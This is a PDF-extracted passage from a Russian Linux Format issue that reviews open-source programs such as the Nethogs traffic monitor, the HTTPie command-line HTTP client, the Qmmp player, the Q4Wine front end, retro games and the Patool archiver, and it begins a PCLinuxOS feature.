ва ет ре зуль та ты об ра бот ки и да ет 
вам воз мож ность бы ст ро го 
ре дак ти ро вания.

«Ве ро ят но, вы уже 
слы ша ли о про-
грам мах OCR.»

Мас шта би ро вание [Zoom]
Уве ли чение мас шта ба об лас ти тек ста, 
ко то рая долж на быть об ра бо та на.

Ос нов ной вид [Main view]
Ото бра жа ет до ку мент с рас по знан
ны ми об лас тя ми, вы де лен ны ми го лу
бым цве том.

Луч шие в ми ре про грам мы  
с от кры тым ко дом
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Монитор тра фи ка се ти

Nethogs

Н
е так дав но мы все бы ли вы ну
ж де ны ис поль зо вать Windows. 
И, как буд то од но го это го ма ло, 

еще и ис поль зо вать Windows с мо биль ным 
со единением – ну, знае те, од но из этих 
уст ройств USB с 3G. Что бы ло ужас но. 
По сколь ку пе ре да ча дан ных – де ло неде
ше вое, мы вся че  ски пы та лись миними
зи ро вать свою он лайнак тив ность, огра
ничи вая ее пе рио ди че  ской про вер кой 
элек трон ной поч ты и чтением Wikipedia. 
Од на ко Windows и его при ло жения глу
ми лись над на ши ми уси лия ми, по сколь ку 
в фо но вом ре жи ме по сто ян но об ра ща лись 
ко вся кой ерун де, сжи раю щей тра фик. 
Шли ка кието мутные об нов ления, со вер
ша лись «звон ки до мой», и в результате 
счет за услу ги рос до небес. 

К сча стью, при ло жения и ди ст ри бу ти вы 
Linux ве дут се бя попри личнее; но ес ли бы 
Linux осво ил тот же сце на рий, у нас всегда 
есть под ру кой Nethogs. Этот ма лень кий 
ин ст ру мент по ка зы ва ет ва шу се те вую ак
тив ность, но не кон цен три ру ет ся на пор те, 

про то ко ле или IPад ре се, как мно гие по
доб ные ути ли ты, а по ка зы ва ет, ка кие про
грам мы ска чи ва ют и за ка чи ва ют дан ные, 
а так же ука зы ва ет ско рость. Ес ли у вас от
кры то несколь ко про грамм, и ваш мо дем 
или ро утер на чи на ют неис то во мер цать 
все ми лам поч ка ми, вы ми гом вы чис ли те 
ви новника. 

Ско ман до вав nethogs (от имени root), 
вы уви ди те про стой дис плей в сти ле top, 
пе ре чис ляю щий про грам мы и уро вень 
по треб ления ими дан ных. По умол чанию 
этот дис плей об нов ля ет ся еже се кунд но, 
но это мож но из менить с по мо щью оп ции 
команд ной стро ки -d. Сле ва вы ви ди те ID 
про цес сов (PID) для ка ж дой про грам мы, 
и ес ли ка каято вы хо дит изпод кон тро
ля, вы мо же те оста но вить ее ко ман дой kill, 

за ко то рой сле ду ет PID (для осо бо уп ря
мых за дач ис поль зуй те kill -9). Ско рость 
пе ре да чи дан ных по умол чанию ото бра
жа ет ся в KБ/сек, но с по мо щью кла ви ши m 
мож но из менить эти единицы из ме рения. 
Точ но так же мож но на жать на r, что бы 
сор ти ро вать спи сок по по лу чен ным дан
ным, и ис поль зо вать s для сор ти ров ки 
по от прав лен ным дан ным.

По ка это весь ма неза тей ли вая про грам
ма, и нам хо те лось бы ви деть в ней та кую 
функ цию, как ав то ма ти че  ское пре кра
щение про цес са [autokill], ес ли он на чи
на ет за гру жать слиш ком мно го дан ных. 
Или, на ху дой конец, ав то ма ти че  ское по
лу чение бан ков ско го кре ди та для оп ла ты 
сме хо твор но ог ром но го сче та за мо биль
ную связь. Рррр. 

Му зыкаль ный плей ер

Qmmp

> Pacman в на шем 
со еди не нии жж ет, 
а вот Firefox, хо тя 
то же ак ти вен, 
по срав не нию 
с ним ка жет ся 
флег ма том�

М
а ло кто из чи та те лей LXF 
рья ный по клонник Apple – 
по оп ре де лению; но сле ду ет 

при знать, что час тень ко на них па да ет от
ра жен ное сияние этих пре восход ных про
дук тов. Од на ко в по следнее вре мя ис клю
чением стал iTunes: это су щий монстр. 
Ес ли вы про сто хо ти те по слу шать му зы ку, 
то воз ня с этим чу ди щем, у ко то ро го 10 000 
раз ных функ ций, вряд ли по ка жет ся вам 
при ят ной. Apple несколь ко раз за свою ис
то рию пе ре краи вал ин тер фейс, но мы по
прежнему ис пы ты ва ем ужас при ви де него. 

Linux здесь де мон ст ри ру ет се бя на мно
го луч ше, и пред ла га ет ши ро кий вы бор 
му зыкаль ных плей е ров, тес но ин тег ри ро
ван ных в сре ду ра бо че го сто ла. Qmmp – 
от но си тель ный но ви чок в этой сфе ре, 
но у него есть соб ст вен ный туз в ру ка
ве: его GUI, о ко то ром мы по го во рим да
лее. Что бы его ском пи ли ро вать, нуж но 
на ли чие Qt и ря да муль ти ме диабиб лио
тек (боль шин ст во рас про странен ных 

фор ма тов пе ре кро ет ffmpeg). Для ра бо ты 
с ним не нуж на пол ная уста нов ка KDE – это 
ис тин ное бла го сло вение для тех, кто ра
бо та ет с лег ко вес ны ми ра бо чи ми сто ла
ми или менед же ра ми окон. По умол чанию 
ин тер фейс Qmmp на по ми на ет ин тер фейс 
XMMS и бо лее ста рые вер сии Winamp. 
Кноп ки управ ления рас по ла га ют ся ввер ху, 
эк ва лай зер по се ре дине, а спи сок тре ков 
внизу. Он прост, эф фек ти вен, и уме ща ет ся 
в угол ке эк ра на, не занимая мно го мес та. 
Вы мо же те ис поль зо вать несколь ко плей
лис тов и ре дак ти ро вать му зыкаль ные тэ ги 
внут ри са мо го при ло жения. 

Qmmp ши ро ко ис поль зу ет сис те му мо
ду лей рас ши рения, для досту па к ко то рым 
на до щелк нуть пра вой кноп кой по пусто му 

про стран ст ву, за тем пе рей ти в Settings, 
а по том – в Plugins. Здесь мож но вклю
чать до полнитель ные ко де ки и эф фек ты, 
а так же ин те гра цию с дру ги ми при ло
жения ми (на при мер, с уве дом ления ми 
KDE) и сер ви са ми (по иск слов пе сен он
лайн). Но упо мя ну тый GUIтуз в ру ка
ве – это умение пол но стью из ме нять ин
тер фейс че рез пла гин. Ес ли вам нра вят ся 
функ ции Qmmp, но не ра ду ет ди зайн в сти
ле Winamp, возь ми те пла гин Amarok, и – 
упс! – GUI со вер шен но дру гой.

«Qmmp – но ви чок, 
но у не го есть туз  
в ру ка ве: его GUI.»

«Хо те лось бы функ ции 
ав то ма ти че ско го пре-
кра ще ния про цес са.»

> Сис те ма пла ги нов Qmmp обес пе чи ва ет тон кую на строй ку 
функ ций, и да же со вер шен но но вый внеш ний вид плей е ра�

Вер сия: 0.8.0 Сайт: http://nethogs.sourceforge.net

Вер сия: 0.6.7 Сайт: http://qmmp.ylsoftware.com
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Ин ст ру мент зон ди ро вания сай тов 

HTTPie

Вы мо же те пе ре сы лать дан ные се рия ми 
как объ ект JSON, ис поль зо вать ба зо вую 
и дайджестау тен ти фи ка цию и ра бо тать 
че рез про ксисер ве ры. Мож но так же соз
да вать сес сии, где поль зо ва тель ские за го
лов ки и cookie со хра ня ют ся ме ж ду за про
са ми на webхосте – это осо бен но по лез но, 
когда вы пи ше те скрипт ря да за про сов. 

Имен но спо соб ность к на пи санию 
скриптов и де ла ет HTTPie столь все сто
ронней про грам мой для webраз ра бот
чи ков и ад минист ра то ров. Конеч но, ин
ст ру мен ты тес ти ро вания сай та (осо бен но 
в ви де рас ши рений Firefox) идут по пята
ку за пучок, но HTTPie по зво ля ет соз дать 
тес ты на вашем лю би мом языке скрип тов 
и за тем про гнать ре зуль та ты че рез всякие 
UNIX’овые ути литы для об ра бот ки тек ста.

Ин ст ру мент по ис ка на ра бо чем сто ле

DocFetcher

> Об ра ти те вни ма-
ние на за го ло вок 
“X-Awesome” — 
из стан дарт но го 
web-брау зе ра вы 
его не уви ди те�

П
ред ставь те се бе, что у вас есть 
вер сия Google толь ко для ва ше
го ком пь ю те ра – имен но на та

кой пред по сыл ке осно ван DocFetcher. 
Боль шин ст во сред ра бо че го сто ла и фай
ло вых менед же ров вклю ча ют оп ре де
лен ную функ цию по ис ка, од на ко на бор 
ее функ ций за час тую до воль но ог раничен. 
DocFetcher де ла ет нечто ис клю чи тель но 
кру тое, к че му мы сейчас и пе рей дем.

Ко ро че, это при ло жение на осно ве Java, 
ко то рое при пер вом за пуске мо жет уди
вить вас сво ей сжа то стью. Вы пы тае тесь 
най ти файл – и по лу чае те до воль но гру бое 
за ме чание, что по ка не на строи ли ни од но
го ин дек са. И на чи нае те ис кать кноп ку для 
на строй ки ин дек са, и... ну, в об щем, по ра 
б рать ся за ру ко во дство, но в дан ном слу
чае мы сэ ко но мим ва ше вре мя. Щелкните 
пра вой кноп кой по панели Search Scope 
и вы бе ри те соз дание но во го ин дек са.

Ин дек сы кэ ши ру ют тек сто вый кон
тент фай лов, по зво ляя во мгно вение ока 

осу ще ст в лять по иск по фай лам, когда 
про грам ме не при хо дит ся вруч ную про
че сы вать ди рек то рии. На их соз дание по
требуется вре мя, по то му что ин дек сы за
гля ды ва ют в ка ж дый файл – и в офис ные 
до ку мен ты, и в PDF; од на ко в итоге вы по
лу чае те от лич ную функ цию по ис ка, пря
мотаки Google на ра бо чем сто ле.

Мо же те су зить па ра мет ры по ис ка, ука
зав оп ре де лен ные раз ме ры и тип до ку
мен тов с по мо щью панелей сле ва, а ниж
няя пра вая панель ото бра жа ет тек сто вый 
пред про смотр (с вы де лением цве том) ре
зуль та тов по ис ка. Вы мо же те по мес тить 
DocFetcher в сис тем ном лот ке и на стро ить 
для него кла ви ши бы ст ро го за пуска. Мож
но ис поль зо вать встро ен ный про смотр

щик HTML для пред про смот ра локаль но 
со хранен ных webстраниц. Со вер шен но 
убой ное свой ст во DocFetcher – его пор та
тив ность. Раз это при ло жение Java, вы мо
же те за ки нуть его на USBбре лок, и оно 
бу дет ра бо тать на ком пь ю те рах с Linux, 
Windows и Mac OS. По мес ти те на тот же 
бре лок боль шую под бор ку до ку мен тов – 
и вот вам пор та тив ный ре по зи то рий до ку
мен тов со встро ен ной функ ци ей по ис ка. 
Мо же те пе ре но сить его с од но го ком пь ю
те ра на дру гой, со хра няя ин декс нетро ну
тым и не за став ляя ка ж дую ОС соз да вать 
соб ст вен ный ин декс и за тем ис поль зо вать 
функ ции по ис ка имен но этой ОС. 

«Мо же те су зить по иск, 
указав оп ре де лен ный 
ти п до ку мен тов.»

> DocFetcher на пом-
нит вам о дав ным-
дав но за бы тых 
фай лах�

Вер сия: 0.4.0 Сайт: http://github.com/jkbr/httpie

Вер сия: 1.1.6 Сайт: http://docfetcher.sourceforge.net

Н
аверно, вы не в курсе, но мож но 
ра бо тать в Се ти че рез команд ную 
стро ку. Мы не го во рим о тек сто

вых брау зе рах ти па Links или W3M – нет, 
речь о кру тых ин ст ру мен тах, ко то рые по
зво ля ют за ки ды вать на webсер ве ры бай
ты и на блю дать ре зуль та т. На са мом ба
зо вом уровне вы мо же те ис поль зо вать 
telnet на пор те 80 для са мо го ру ди мен тар
но го «про смот ра» (что в неко то ром смыс
ле рас ши ря ет это оп ре де ление), а мож но 
взять cURL, по зво ляю щий сде лать на мно
го боль ше.

Од на ко основ ная про бле ма cURL – 
не осо бое дру же лю бие к поль зо ва те лю. 
Мы не станем ру гать его за это, по то му 
что cURL – ин ст ру мент для про дви ну тых, 
но мно гие его функ ции оста ют ся в за гоне 
изза слож но сти про цес са его освоения. 
Цель HTTPie – ис пра вить это, пре доста вив 
те же функ ции, что и cURL, но в бо лее при
ят ной сре де. 

Он на пи сан на Python, без ка кихли
бо необыч ных за ви си мо стей, так что с его 

на строй кой не долж но быть про блем. Вот 
как уви деть его в дей ст вии в са мой ба зо
вой фор ме: 
http httpie.org

Итак, HTTPie со еди ня ет ся с сай том и по
ка зы ва ет его сы рой вы вод, с за го лов ка ми 
и с неболь шим вы де лением цве том, что бы 
сде лать кар тин ку чуть яр че. Са ма по се бе 
эта ко ман да по ка зы ва ет, что де ла ет брау
зер и что он ви дит за ку ли са ми про ис хо
дя ще го, и она очень по лез на для ба зо вой 
от лад ки webсер ве ра. Но все это – толь
ко по верх ность: с по мо щью HTTPie вы мо
же те де лать с webсер ве ром ку да бо лее 
слож ные опе ра ции, на при мер, пре достав
лять фор мы че рез за про сы POST, за гру
жать фай лы и на страи вать поль зо ва
тель ские за го лов ки.

«Вы мо же те вы пол нять 
с web-сер ве ром бо лее 
слож ные опе ра ции.»
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Про грам ма на строй ки Wine

Q4Wine

несколь ко пре фик сов, что бы не за пускать 
все про грам мы с одними и те ми же на
строй ка ми. В Q4Wine лег ко на стро ить но
вый пре фикс и дать ему ко ман ду мон ти ро
вать об раз CD/DVD в ка че  ст ве дис ка, когда 
он вы бран; от лич но под хо дит для игр.

Есть так же встро ен ный доступ к Wine 
AppDB, ши ро кой под бор ке от  че тов 
об успеш ной и сбой ной ра бо те от поль зо
ва те лей, ко то рые пы та лась за ста вить вся
кие про граммы Windows ра бо тать в Wine. 
Мо жно так  же про смат ри вать за пи си 
в жур на ле о за пусках при ло жений, не пач
ка ясь с за пуском команд ной стро ки. Это 
хо ро шее при ло жение, и ес ли у вас есть за
труднения с Wine, на него сто ит взглянуть.

Му зыкаль ный плей ер ZX Spectrum

ZXTune

> Ес ли вам не жить 
без ста рых про-
грамм Windows, 
по мо гут Wine 
и его чу дес ный 
Qt-ин тер фейс�

П
ри чи на ве ли чия Linux № 15821: 
он по зво ля ет вдох нуть но вую 
жизнь в ста рое обо ру до вание. 

Слиш ком мно го ПК за вер ша ют свою 
жизнь на свал ке, по сколь ку вла дель цы 
со чли их бес по лез ны ми уже спустя па ру 
лет ра бо ты. Од на ко бла го да ря лег ко
вес ным ди ст ри бу ти вам мы зна ем, что 
так на зы вае мые «уста рев шие» ПК по
прежнему сго дят ся как достой ные до
машние на столь ные ма ши ны или сер ве
ры. И сто ит вам доз реть до бе реж ли во сти 
к ста ро му «же ле зу», как вы на нее и под
ся де те – вплоть до то го, что начнете пы
тать ся за пустить NetBSD на сво ем Game 
Boy Advance.

Этот фе но мен ничуть не нов; вот и ни
ша на пи сания де мо для 8бит ных ком
пь ю те ров по ка мест име ет ся. В основ ном 
ко де ры де мопро грамм пи шут но вые гра
фи че  ские эф фек ты и му зы ку для та ких 
древ но стей, как ZX Spectrum и C64, вы
жи мая из их внут рен но стей 1980х го дов 

все до ка п ли. Есть несколь ко от лич ных 
ме ло дий, и хо тя их мож но по слу шать 
и в фор ма те MP3, все же го раз до луч ше 
иметь для это го спе ци аль ный плей ер, ко
то рый в точ но сти воспро из во дит ра бо ту 
обо ру до вания.

Что и де ла ет ZXTune: он воспро из во дит 
ра бо ту зву ко во го чи па Speccy, по зво ляя 
слу шать как клас си че  ские, так и недав
но на пи сан ные ме ло дии чип тюн [му зы
ка, син те зи руе мая ранними элек трон ны ми 
схе ма ми] в 25 раз ных фор ма тах (с раз ны
ми оп ция ми сжа тия). Под дер жи ва ют ся как 
род ные дан ные чи па AY, так и ши ро кий ряд 
фор ма тов тре ке ра, и ре зуль тат мож но вы
вес ти в файл .wav, ес ли вы хо ти те еще по
ра бо тать с му зы кой.

ZXTune име ет и ин тер фейс команд
ной стро ки, и гра фи че  ский ин тер фейс; 
по следний осно ван на Qt, ко то рый ста
ти че  ски ссы ла ет ся на би нарник на сай
те про ек та. Все под дер жи вае мые фор ма
ты так же вклю че ны в основ ной би нарник, 
и вам не при дет ся но сить ся в по ис ках вся
ких мел ких за ви си мо стей. GUI весь ма со
ли ден и пре достав ля ет под держ ку плей
лис тов, ана ли за тор тан цую щей стро ки 
и раз лич ные оп ции на строй ки рас клад ки.

Мы про ве ли чуд ный носталь ги че  ский 
ве чер, слу шая му зы ку из клас си че  ских 
игр. В се ти пол но от лич ной му зы ки Spec
cy – по про буй те по ис кать “Spectrum AY 
music”, за гру зи те фай лы и уст рой те ве че
рин ку, как буд то на дво ре 1987 год.

«Он по зво ля ет слу шать 
клас си ку му зы ки чип-
тюн в 25 фор ма тах.»

> Фа на ты чи пов 
SID! Мы зна ем, 
что по сле этой 
пуб ли ка ции вы 
за бро сае те нас 
пись ма ми-граната-
ми, но по со ве туй те 
хо ро ший плей ер 
SID — и мы о нем 
рас ска жем�

Вер сия: 1.0 Сайт: http://q4wine.brezblock.org.ua

Вер сия: 2239 Сайт: http://code.google.com/p/zxtune

У
ди ви тель но, как все ме ня ет ся. Лет 
де сять на зад мы бы ли в востор ге 
от Wine, уров ня со вмес ти мо сти, 

по зво ляю ще го за пускать при ло жения 
Windows в Linux без ком пь ю те ра с Win
dows. Wine был – да и оста ет ся – да лек 
от со вер шен ст ва, но вну шал нам на де ж
ду на слав ное бу ду щее, когда Linux ста
нет стан дарт ной ОС для все го ми ра, а ес ли 
и бу дет недоста вать ка кихто про грамм, 
то эти про бе лы воспол нят про грам мы Win
dows, ра бо таю щие в Wine.

Од на ко вы шло ина че. Тру до лю би вые ха
ке ры от кры то го ко да за полнили мно гие 
про бе лы род ны ми про грам ма ми, и Wine 
в основном стал ре шением (весь ма по лез
ным) для же лаю щих ра бо тать в Linux, за
од но имея доступ к ста рым про грам мам 
толь ко для Windows. Wine – не са мая про
стая в на строй ке про грам ма, и по это му су
ще ст ву ют са мые раз но об раз ные гра фи че
 ские ин тер фей сы для ис прав ления этой 
си туа ции. Q4Wine – од но из та ких при ло
жений на базе Qt, до росшее до вер сии 1.0.

При пер вом за пуске Q4Wine ото бра
зит всплы ваю ще го мас те ра, по зво ляю ще
го ука зать точ ное рас по ло жение для Wine 
(ес ли у вас уста нов ле ны раз ные вер сии) 
и на стро ить се те вые па ра мет ры. За тем 
от кро ет ся глав ный эк ран, где вы уви ди те 
спи сок уста нов лен ных на дан ный мо мент 
про грамм и пре фик сов. Для за пуска про
грам мы Windows про сто щелкните два ж
ды по ее знач ку во вклад ке Programs. Что
бы до ба вить но вую про грам му, щелкните 
пра вой кноп кой по пусто му мес ту ме ж ду 
знач ка ми, а за тем щелкните по New.

Од на ко пона стоя ще му Q4Wine по лез
на в на строй ке пре фик сов. Это ди рек то рии 
на строй ки Wine, и по сколь ку раз ные про
грам мы Windows неред ко тре бу ют раз ных 
на стро ек Wine, она по мо га ет на стро ить 

«По-на стоя ще му 
Q4Wine по ле зен в на-
строй ке пре фик сов.»
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Убий ст вен ный для до ми но пазз лер

Pushover

Имита ция при го тов ления еды

BurgerSpace

> А в сколь ких еще 
иг рах вра га ми вы-
сту па ют ма ри но-
ван ные огур чи ки? 
Нет, нам вправ ду 
лю бо пыт но�

З
нае те что? Появился еще один 
шанс упо мя нуть Amiga! Конеч но, 
мы это де ла ем по сто ян но, на чи

ная с LXF1, но от ста рых при вы чек труд
но от де лать ся. Од ной из на ших лю би мых 
го ло во ло мок для Amiga в на ча ле 1990х 
был Pushover, от Ocean, весь ма непро стая 
иг ра в до ми но – в глав ной ро ли там был 
изу ми тель но ода рен ный му ра вей. Ва шей 
це лью бы ло сло жить до ми но на несколь
ких плат формах так, что бы, толк нув од
ну костяш ку, рас сы пать все. Это на до бы
ло сде лать все го одним тыч ком – нель зя 
бы ло тол кать все по оче ре ди. Что бы пол
но стью прой ти уро вень, на до бы ло обес
пе чить па дение глав ной костяш ки до
ми но, по сле че го от кры ва лась дверь 
на сле дую щий уро вень. 

Это бы ло класс но, и в то же вре
мя за став ля ло по ло мать го ло ву, так что 
мы про сто поще ня чьи воз ра до ва лись, 
уз нав, что идет ра бо та над ри мей ком 

с от кры тым ко дом. Не смот ря да же на то, 
что по ка что он на хо дит ся на ста дии 0.0.4, 
эта GPLвер сия Pushover уже вполне 
иг ра бель на, и основ ные эле мен ты иг ро
вого про цес са в ней успеш но реа ли зо ва
ны. К сча стью, раз ра бот чи ки пе ре де ла ли 
иг ру с по мо щью SDL, и ее лег ко ком пи
ли ро вать из ис ходника. За тем вы мо же те 
за пустить ее из ди рек то рии, в ко то рую 
ее ком пи ли ро ва ли, все го лишь на брав 
�/pushover.

Сю да вклю че ны раз ные уровни – одни 
из ори ги наль ной иг ры, дру гие но вые; вы
бе ри те свой, и на эк ране поя вит ся ваш 
му ра вей. Ис поль зуй те кла ви ши со стрел
ка ми для пе ре ме щения, а оста но вив шись 

пе ред костяш кой до ми но, на  жми те 
на про бел, что бы ее по доб рать. По том 
вы смо же те пе ре та щить ее в дру гое ме
сто и на жать на про бел, что бы она улег
лась. На жми те на стрел ку вверх, что бы 
пе ре ме щать ся вдоль до ми но, за тем на
прав ление, ку да вам на до его толк нуть, 
и про бел. 

Есть де сять ти пов до ми но, что бы раз
но об ра зить иг ру: неко то рые взры ва ют ся, 
неко то рые рас па да ют ся по по лам, неко
то рые со став ля ют мосты. На бо лее слож
ных уров нях вам бу дет за что се бя по гла
дить по головке.

Е
с ли у вас в го ло ве за сел скан дал 
с кониной, но вы все рав но лю
би те по рой вонзить зу бы в соч

ный гам бур гер с яко бы го вя ди ной, ве ро
ят но, по ра учить ся го то вить. Но тут у нас 
возника ет про бле ма: тех на ри и при го
тов ление пи щи – это както не очень со
че та ет ся. Бу ду чи тех на ря ми, мы лю бим 
точ ность: сле ду ем ин ст рук ци ям и оп ти
ми зи ру ем про цесс там, где ви дим некий 
изъ ян. Од на ко та кой под ход не слиш ком 
хо рош для кухни, где ца рят при мер ные 
ве ли чи ны (при горш ня то го, ще пот ка дру
го го) и тре бу ет ся ко лоссаль ное тер пение. 

Од на ко вы мо же те по пы тать ся нау
чит ся го то вить с по мо щью ви део иг ры. 
BurgerSpace – это «гам бур ге рого ло во
лом ная» иг ра на осно ве клас си че  ской 
ар ка ды 1982 го да BurgerTime, от сю да 
и не осо бо впе чат ляю щая гра фи ка. Цель 
крайне про ста: ком понен ты бур ге ров, 

раз бро сан ные по все му пространству, 
вам необходимо со брать в пол но цен ный 
бур гер внизу эк ра на. 

Что бы спра вить ся с за да чей, вы управ
ляе те оба ятель ным ма лень ким по ва ром, 
ко то рый бе га ет по плат фор мам, ка раб ка
ет ся по ле стницам и пи на ет час ти гам бур
ге ров, сши бая их на уро вень ниже. Когда 
все гам бур ге ры со б ра ны на по ло жен ном 
нижнем уровне, вы вы иг ры вае те и пе ре
хо ди те на сле дую щий уро вень. Прав да, 
на де ле это не так про сто: за ва ми го ня
ют ся вся кие па ко ст ные ин гре ди ен ты, 
ти па ма ри но ван но го лу ка или огур чи
ков, и доста точ но од но го ка сания – и вы 

вы ле тае те. У вас есть соль, ко то рую мож
но сы па нуть, что бы вре мен но за мо ро
зить ис точающие нена вис ть час ти гарни
ра – это даст вам вре мя сбе жать. 

В общем, это некий гиб рид Pacman, Dig 
Dug и Donkey Kong, толь ко с еще боль
шим сюр реа лиз мом. Пря мо и не зна
ем, что ку ри ли раз ра бот чи ки иг ры, 
когда их по се ти ла дан ная идея, но впо
след ст вии их яв но про би ло на еду. И тем 
не менее это вполне ми лый спо соб убить 
вре мя, и мож но со хра нить состояние иг
ры посре ди уров ня и восста но вить си туа
цию по том.

«На слож ных уров нях 
вам бу дет за что се бя 
по гла дить по головке.»

«Это не кий гиб рид 
Pacman, Dig Dug 
и Donkey Kong.»

> По ло са тая кос-
тяш ка вни зу спра-
ва — пус ко вая: 
ее на до уронить, 
что бы от крыть 
дверь на сле дую-
щий уро вень� 

Вер сия: 0.0.4 Сайт: http://pushover.sourceforge.net

Вер сия: 1.9.2 Сайт: http://bit.ly/j0qPBW
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 � LVPS 0�2�1
Сканер па ке тов, тес ти рую щий на ли чие 
уяз ви мо стей в сис те ме безо пас но сти.
http://lzone.de/lpvs

 � AutOrg 0�3
Тек сто вый ре дак тор, ор га най зер, лич ная 
wiki и мно гое еще – все в од ном.
http://autorg.dyne.org

 � Kwooty 1�0
Граб бер дво ич ных фай лов Usenet .nzb 
для KDE, с под держ кой несколь ких 
сер ве ров.
http://kwooty.sourceforge.net

 � CodeQuery 0�05
Ин дек си ро вание и за про сы фай лов ко да 
C, C++ и Java.
http://bit.ly/WvIhg2

 � pyHIDS 0�1
Сис те ма об на ру жения взло ма на хосте, 
на пи сан ная на Python.
http://bit.ly/YDMuO0

 � Advanced Copy 0�4a
Мо ди фи ци ро ван ная вер сия ин ст
ру ментов GNU cp и mv, со стро ка ми 
со стояния!
http://bit.ly/WlidJD

 � Berusky II 0�9
Паззл, ко то рый под ве ргнет проверке 
ва шу спо соб ность к про стран ст вен но му 
мыш лению.
http://anakreon.cz/?q=node/2

Про грам ма сжа тия

Patool

> Ис поль зуй те 
оп цию фор ма тов, 
и Patool по ка жет 
вам, на что он 
спо со бен�

> Под тем но-си ней 
ча стью ви ден 
всплеск на груз-
ки от ра нее вы пол-
нен ной опе ра ции 
сжа тия� 

В
о прос: по че му про грам мы ар хи ва
ции всегда ис поль зу ют раз ные оп
ции команд ной стро ки? На при мер, 

же лая рас па ко вать файл, вы ко ман дуе
те unzip для .zip, tar xfv для .tgz/.tbz2 и rar 
e для фай лов .rar. Ну где со гла со ван ность 
этих ин ст ру мен тов? А это мы еще не ка са
лись cpio. Но все же нам при хо дит ся ре
гу ляр но иметь де ло с раз лич ны ми фор
ма та ми ар хи ви ро вания и сжа тия, по это му 
по мощник вро де Patool ока жет ся кста ти.

Patool вы сту па ет как обо лоч ка для мно
же ст ва про грамм сжа тия, а зна чит, вам 
доста точ но помнить толь ко один на бор 
оп ций команд ной стро ки, а не для ка ж
до го фор ма та по от дель но сти. На при мер, 
вы мо же те рас па ко вы вать сме шан ные 
фор ма ты та ким об ра зом: 
patool extract foo.tar.gz bar.zip

Уже од но это де ла ет его достой ным 
уста нов ки, осо бен но ес ли вы уго ди те 
на бо лее су мрач ную тер ри то рию фай лов 
.arc и .arj. Ко ли че  ст во фор ма тов, с ко то ры
ми ла дит Patool, за ви сит от уста нов лен ных 

у вас про грамм: набрав patool formats, 
вы уви ди те под роб ный спи сок всех про
грамм, ко то рые он зна ет, неза ви си мо 
от то го, уста нов ле ны они у вас или нет, 
и где их най ти, ес ли у вас их нет. 

На ря ду с (раз)ар хи ви ро ванием, вы мо
же те по лу чить спи сок фай лов в ар хи вах, 
ото бра зить раз ли чия ме ж ду ними и про
ве рить их на пред мет це ло ст но сти дан
ных. Мы со чли, что Patool дол жен вхо дить 
в ка ж дый ди ст ри бу тив; его оце нят на чи
наю щие, да и для нас, за быв чи вых ста рич
ков, он сэ ко но мит вре мя на ры тье в спра
вочниках. |

Ин фор ма ци он ная панель для обо лоч ки

Rainbarf

Н
и ко му не раз ре шай те го во рить, 
что обо лоч ка скуч на. Конеч но, 
для непо свя щен но го, неспо

соб но го взнуз дать всю ее мощь, она, 
воз мож но, и вы гля дит нуд но, но вамто 
из вест но дру гое. И все же иногда непло хо 
ма лость ее ра сцве чи вать – воз мож но, 
вы ви де ли сним ки эк ра на с цвет ны ми обо
лоч ка ми и де ко ра тив ны ми эф фек та ми 
ASCII да же в на шем жур на ле. Rainbarf шаг
нул даль ше, обес пе чив цвет ную об рат ную 
связь с сис те мой внизу ок на тер ми на ла.

Для его за пуска надо както по де лить 
свой тер ми нал на двое, что бы Rainbarf тру
дил ся в нижней час ти, а вы в верхней. Тут 
поможет ин ст ру мент Tmux, но мож но при
менить и GNU Screen. Сле дуй те ин ст рук
ци ям в README Rainbarf, и вы на стро ите 
его на ав то ма ти че  ский за пуск при ка ж
дом обращении к ин ст ру менту раз де
ления эк ра на. По умол чанию ото бра жа
ют ся сек ции, по ка зы ваю щие по треб ление 
па мя ти: зе ле ная – сво бод ное ОЗУ, жел тая/

оран же вая – ра бо таю щее, а тем носи няя 
и свет лоси няя – со от вет ст вен но неак
тив ное и кэ ши ро ван ное ОЗУ. В неко то рых 
эму ля то рах тер ми на ла мож но так же ожи
вить дис плей с по мо щью монито ра за груз
ки CPU: он про кру чи ва ет ся спра ва на ле во 
и по ка зы ва ет пи ки за груз ки про цес со ра. 
Есть так же ин ди ка тор за ряд ки ба та реи. 

Rainbarf не собирается из менить мир; 
это про сто милая при пра ва на слу чай, ес ли 
вы про во ди те боль шую часть сво его вре
мени в окне тер ми на ла и хо ти те при гля ды
вать за свои ми сис тем ны ми ре сур са ми. 

Также вышли

Новые и обновленные программы, 
тоже достой ные внимания���

Вер сия: 0.5 Сайт: http://bit.ly/12fRIbc

Вер сия: 0.19 Сайт: http://wummel.github.com/patool

> BitTorrent? Фи! Все кру тые пар ни 
дав но уж в Usenet�

> Ошиб ки + TNT = по те ха га ран ти ро ва на�
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Про буй те но вую опе ра ци он ную сис те му уже се го дня!

Крут на за висть гор ным кручам

PCLinuxOS
P

CLinuxOS редко становится темой заголовков в мире Linux. 
Причина в том, что он гуляет себе по соседству, делая то, 
что и всегда делал: обеспечивал дружелюбную к пользо

вателю систему KDE. Здесь нет никаких спор ных изменений в сти
ле Ubuntu, вызывающих толки. Зато это отличный настольный ди
стрибутив, который предпочитает эволюцию революциям.

PCLinuxOS основан на Mandriva; хотя сей час он целиком отпоч
ковался от данного проекта, но сохранил тот же стиль. Так, самые 
популярные опции настройки доступны из одного инструмента, 
т. е. не придется искать разные инструменты для каждой области. 

Автор провел несколько счастливых лет, будучи пользовате
лем Mandrake, хоть в последние годы и позволял себе заигрывать 
с разными ответвлениями. Но аккуратного принципа «просто ра
ботать», прак тикуемого PCLinuxOS, который автор обнаружил, 
создавая диск текущего месяца, почти хватило, чтобы вернуть 
его в лоно этого семейства Linux. > У PCLinuxOS, ко всему хорошему, имеется дружелюбный форум на www�pclinuxos�com�

> Рабочий стол, 
который покажется 
знакомым 
большинству 
пользователей� 

> Экран логина 
расскажет вам 
все не об хо ди мое, 
чтобы приступить 
к работе� 

Здесь у нас в Башнях Linux Format ме сяц вы дал ся не из лег ких� 
Мы занима лись ха кер ст вом (ес те ст вен но, в рам ках за ко на), иг-

ра ли с Raspberry Pi и все ми эти ми но вы ми ди ст ри бу ти ва ми на на-
ших ком пь ю те рах (ес ли вам ин те рес но, по че му, за гляните на наш 
под каст TuxRadar�com)� Од на ко, несмот ря на все это, мы вы бра ли 
для вас от лич ные ди ст ри бу ти вы� Одни вам, ве ро ят но, зна ко мы, дру-

гие — нет� Ка ж дый из них пре восхо ден в сво ей об лас ти, хо тя у неко-
то рых и до воль но скром ные ниши� PCLinuxOS и Zorin — два самых 
популярных� Оба дружелюбны к начинающим и станут отличным 
